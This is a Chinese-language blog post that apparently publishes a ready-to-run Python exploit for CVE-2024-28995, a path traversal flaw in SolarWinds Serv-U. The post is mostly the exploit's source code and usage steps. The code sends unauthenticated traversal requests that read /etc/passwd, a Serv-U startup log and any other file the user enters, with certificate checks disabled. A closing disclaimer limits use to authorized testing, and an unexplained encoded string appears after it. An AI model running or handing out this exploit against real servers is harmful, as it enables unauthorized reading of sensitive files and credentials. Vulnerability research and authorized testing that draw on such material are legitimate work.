SolarWinds Serv-U 路径遍历漏洞利用工具 (CVE-2024-28995)

SolarWinds Serv-U 路径遍历漏洞利用工具 (CVE-2024-28995)

功能特性

  • 自动系统识别:自动检测目标服务器操作系统类型(Windows/Linux)
  • 未认证文件读取:利用目录遍历漏洞读取目标服务器上的任意文件
  • 交互式文件提取:成功检测漏洞后,支持交互式输入文件路径进行内容获取
  • 多协议支持:针对 Windows 和 Linux 系统分别构造不同的路径遍历载荷
  • SSL 忽略验证:内置 HTTPS 证书验证忽略选项,方便测试自签名证书环境

安装指南

系统要求

  • Python 3.6 或更高版本
  • 网络连接(用于访问目标服务器)

依赖安装

本项目仅依赖 requests 库。使用以下命令安装:

pip install requests

克隆与使用

git clone https://github.com/your-repo/CVE-2024-28995-SolarWinds-Serv-U.git
cd CVE-2024-28995-SolarWinds-Serv-U

使用说明

基础用法

python exploit.py -u <目标URL>

示例

python exploit.py -u https://127.0.0.1/

使用流程

  1. 运行脚本后,工具会自动检测目标是否存在漏洞并识别操作系统
  2. 如果目标存在漏洞,将进入交互式文件提取模式
  3. 根据提示输入要读取的文件路径:
    • Windows 系统示例/windows/win.ini
    • Linux 系统示例\etc\passwd
  4. 工具将返回文件内容并等待下一次输入(按 Ctrl+C 退出)

漏洞检测逻辑

  • Windows 系统:尝试读取 C:\ProgramData\RhinoSoft\Serv-U\Serv-U-StartupLog.txt,响应中包含 Windows Server 特征字符串
  • Linux 系统:尝试读取 /etc/passwd,响应中包含 root 特征字符串

API 概览

函数 描述
ascii() 打印工具 Banner
exploit(targetURL) 检测目标漏洞并识别系统类型
getWinFile(targetURL) Windows 系统下交互式读取文件
getLinFile(targetURL) Linux 系统下交互式读取文件
main() 解析命令行参数并启动利用流程

核心代码

漏洞检测与系统识别

def exploit(targetURL):
    scanWin = "?InternalDir=/../../../../../ProgramData/RhinoSoft/Serv-U&InternalFile=Serv-U-StartupLog.txt"
    scanLin = "?InternalDir=\\..\\..\\..\\..\\..\\etc&InternalFile=passwd"
    
    finalURLWin = targetURL + scanWin
    finalURLLin = targetURL + scanLin
    
    print("\033[92m[+] Checking the target \033[0m")
    
    try:
        # Windows 系统检测
        response = requests.get(finalURLWin, verify=False, timeout=10)
        if "Windows Server" in response.text:
            print("\033[92mTarget is vulnerable and is a Windows System!! \033[0m \n")
            getWinFile(targetURL)
            return
        
        # Linux 系统检测
        response = requests.get(finalURLLin, verify=False, timeout=10)
        if "root" in response.text:
            print("\033[92mTarget is vulnerable and is a Linux System!! \033[0m \n")
            getLinFile(targetURL)
            return

        print("\033[91mTarget might not be vulnerable...\033[0m")
        
    except Exception as e:
        sys.exit(f"Some error occured: {e}")

Windows 系统文件读取

def getWinFile(targetURL):
    try:
        while True:
            filePathWin = input("\033[92mEnter the path of the file to be extracted(Ex: /windows/win.ini): \033[0m \n")
        
            # 正则提取文件路径和文件名
            pattern = r'^(.*)/([^/]+)$'
            match = re.match(pattern, filePathWin)
            if match:
                file_path = match.group(1)
                file_name = match.group(2)
    
            try:
                fetchURLWin = targetURL + f"?InternalDir=/../../../../..{file_path}&InternalFile={file_name}"
                response = requests.get(fetchURLWin, verify=False, timeout=10)
                print(response.text)
    
            except requests.RequestException as e:
                print(f"\033[91m[!] Some error occurred or the file does not exist {e}\033[0m")
                
    except KeyboardInterrupt:
        sys.exit("\n\033[91mOperation Aborted\033[0m")

Linux 系统文件读取

def getLinFile(targetURL):
    try:
        while True:
            filePathLin = input("\033[92mEnter the path of the file to be extracted(Ex: \etc\passwd): \033[0m \n")
        
            # 正则提取文件路径和文件名
            pattern = r'\\(.+?)\\([^\\]+)$'
            match = re.match(pattern, filePathLin)
            if match:
                file_path = match.group(1)   
                file_name = match.group(2) 
            
            try:
                fetchURLLin = targetURL + f"?InternalDir=\\..\\..\\..\\..\\..\\{file_path}&InternalFile={file_name}"
                response = requests.get(fetchURLLin, verify=False, timeout=10)
                print(response.text)
    
            except requests.RequestException as e:
                print(f"\033[91m[!] Some error occurred or the file does not exist {e}\033[0m")
    except KeyboardInterrupt:
        sys.exit("\n\033[91mOperation Aborted\033[0m")

主程序入口

def main():
    parser = argparse.ArgumentParser(description="CVE-2024-28995")
    parser.add_argument("-u", '--targetURL', required=True, help="The target URL")
    args = parser.parse_args()
    try:
        ascii()
        return(exploit(args.targetURL))
            
    except Exception as e:
        sys.exit(f"Some error occured: {e}")
        
if __name__ == "__main__":
    main()

免责声明:本工具仅限教育研究和授权测试使用。未经授权的使用属于非法行为,使用者需自行承担一切法律责任。
6HFtX5dABrKlqXeO5PUv/6RdK5ndkCWGcymgJgQXHidRRFSA0HnlLJkpCzfeabk2sofDYHNtFyd/hfV0Fzdbmg==

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容